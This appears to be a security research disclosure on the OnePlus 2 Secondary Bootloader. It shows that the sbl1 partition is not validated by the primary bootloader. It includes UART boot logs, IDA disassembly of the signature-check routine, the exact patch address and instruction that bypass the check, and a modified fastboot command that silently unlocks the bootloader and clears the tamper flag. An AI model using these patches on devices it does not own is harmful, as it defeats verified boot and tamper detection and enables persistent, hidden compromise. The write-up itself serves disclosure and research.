OnePlus 2
OnePlus 2 (a 2015 Qualcomm Snapdragon 810 device) successfully boots with a tampered Secondary Bootloader (sbl1
) partition although it is digitally-signed, hence it is not validated by its Primary Bootloader (PBL), maybe due to lenient hardware configuration.
[pbl]
`-.
[sbl1]
`-.
[aboot]
|`-.
| [...]
|-[tz]
|-[rpm]
|-[pmic]
.
.
Attackers capable of tampering with the sbl1
partition can then disable the signature validation of the rest of the bootloader chain and other SBL-validated partitions such as TrustZone and ABOOT.
[pbl]
`-.
[sbl1*]
`-.
[aboot]
|`-.
| [...]
|-[tz]
|-[rpm]
|-[pmic]
.
.
* - Modified as per our PoC
Equivalent partitions of older OnePlus devices (One/X) seem to have no digital signatures at all, and therefore are vulnerable as well.
The goal of our PoC, whose results are available in our repo, is to disable the signature validation (implemented by SBL) of the rest of the partitions such as TrustZone and ABOOT.
In order to find the exact routine within the sbl1
image that does that, we first discovered the UART ports exposed on the OnePlus 2 board, by simply probing the available ones using our beloved Logic Analyzer:
Booting with authentic partitions results in the following debug messages through UART:
B - 274561 - SBL1, Start
B - 281728 - scatterload_region && ram_init, Start
B - 296490 - boot_flash_init, Start
D - 30 - boot_flash_init, Delta
B - 297039 - boot_config_data_table_init, Start
D - 3629 - boot_config_data_table_init, Delta
B - 306067 - Image Load, Start
D - 14060 - PMIC Image Loaded, Delta
B - 320097 - sbl1_ddr_set_params, Start
D - 579 - sbl1_ddr_set_params, Delta
B - 326136 - pm_device_init, Start
B - 328607 - PON REASON:PM0:0x2000000a0 PM1:0x2000000a0
D - 37332 - pm_device_init, Delta
[...]
B - 763720 - Image Load, Start
D - 36020 - APPSBL Image Loaded, Delta
B - 799740 - sbl1_efs_handle_cookies, Start
D - 457 - sbl1_efs_handle_cookies, End
B - 805383 - RPM sync cookie updated
B - 808921 - SBL1, End
D - 536708 - SBL1, Delta
Android Bootloader - UART_DM Initialized!!!
Booting with tampered SBL-validated partitions (e.g. aboot
, tz
), however, results in the following error (or similar):
B - 205997 - SBL1, Start
B - 213317 - scatterload_region && ram_init, Start
B - 227896 - boot_flash_init, Start
D - 30 - boot_flash_init, Delta
B - 228475 - boot_config_data_table_init, Start
D - 3599 - boot_config_data_table_init, Delta
[...]
B - 1184406 - Qsee Execution, Start
D - 80184 - Qsee Execution, Delta
B - 1436458 - Image Load, Start
D - 73871 - RPM Image Loaded, Delta
B - 1510573 - Signal PBL to Jump to RPM FW
B - 1512037 - Image Load, Start
D - 2562 - WDT Image Loaded, Delta
B - 1518107 - Image Load, Start
B - 1683996 - Error code 302e at /work/home/jenkins/14049_user_MP_HYDROGEN/MODEM/MSM8994/msm8994/boot_images/core/boot/secboot3/src/boot_elf_loader.c Line 829
By back-referencing the error string with IDA we can easily pinpoint the SBL function which validates the rest of the chain:
ROM:00000000FEC0E908 loc_FEC0E908 ; CODE XREF: sub_FEC0E89C+1Cj
ROM:00000000FEC0E908 MOV X0, X19
ROM:00000000FEC0E90C BL sub_FEC0F9A0
ROM:00000000FEC0E910 CBZ W0, loc_FEC0E934
ROM:00000000FEC0E914 ADRP X0, #off_FEC7FE28@PAGE
ROM:00000000FEC0E918 LDR X3, [X0,#off_FEC7FE28@PAGEOFF]
ROM:00000000FEC0E91C ADRP X0, #(aSignalPblToJum+0x16) ; -
ROM:00000000FEC0E920 ADD X0, X0, #aWorkHomeJen_19@PAGEOFF ; "/work/home/jenkins/14049_M_OOS_user_MP2"...
ROM:00000000FEC0E924 MOV W1, #0x33D
ROM:00000000FEC0E928 MOV W2, #0x302E
ROM:00000000FEC0E92C BLR X3
ROM:00000000FEC0E930
ROM:00000000FEC0E930 loc_FEC0E930
ROM:00000000FEC0E930 B loc_FEC0E930
ROM:00000000FEC0E934
ROM:00000000FEC0E934 loc_FEC0E934 ; CODE XREF: sub_FEC0E89C+74j
ROM:00000000FEC0E934 LDR X19, [SP,#0x30+var_28]
ROM:00000000FEC0E938 LDP X20, X21, [SP,#0x30+var_20]
ROM:00000000FEC0E93C LDP X22, X30, [SP,#0x30+var_10]
ROM:00000000FEC0E940 ADD SP, SP, #0x30
ROM:00000000FEC0E944 RET
ROM:00000000FEC0E944 ; End of function sub_FEC0E89C
Notice the spinlock @ 0xFEC0E930
. Quick patching of the call @ 0xFEC0E90C
with MOVZ W0, #0
will avoid the failing path.
And indeed, booting with tampered aboot
and tz
now succeeds:
B - 276757 - SBL1, Start
[...]
D - 7564 - QHEE Image Loaded, Delta
B - 760548 - Image Load, Start
D - 31690 - QSEE Image Loaded, Delta
[...]
D - 36021 - APPSBL Image Loaded, Delta
B - 1102178 - sbl1_efs_handle_cookies, Start
D - 457 - sbl1_efs_handle_cookies, End
B - 1107790 - RPM sync cookie updated
B - 1111420 - SBL1, End
D - 836920 - SBL1, Delta
Android Bootloader - UART_DM Initialized!!!
[50] project name got 14049
[...]
[1130] lk fg_volt = 4038
[1130] Backlight 1
[1670] WARM: power_on_reason is HARD_RESET [0x21]
[1680] WARM: power_on_reason is PON1 [0x21]
[1680] WARM: power_off_reason is KPDPWR_N [0x80]
[1850] Channel alloc freed
[1870] Jumping to kernel via monitor
To prove we can execute code within aboot
, we have also modified one of the fastboot oem commands, made it temporarily unlock the bootloader, and turn off the device tampering flag:
int __fastcall cowabunga_F92C60C(int a1, int a2)
{
[...]
dword_F978FA4 = 1; // unlocked
dword_F978FA8 = 0; // tampered
FAIL("pizza",);
[...]
}
The result is as follows:
$ fastboot oem device-info 2>&1 | grep Device
(bootloader) Device tampered: true
(bootloader) Device unlocked: false
(bootloader) Device is_verified: false
$ fastboot oem cowabunga
...
FAILED (remote: pizza)
finished. total time: 0.020s
$ fastboot oem device-info 2>&1 | grep Device
(bootloader) Device tampered: false
(bootloader) Device unlocked: true
(bootloader) Device is_verified: false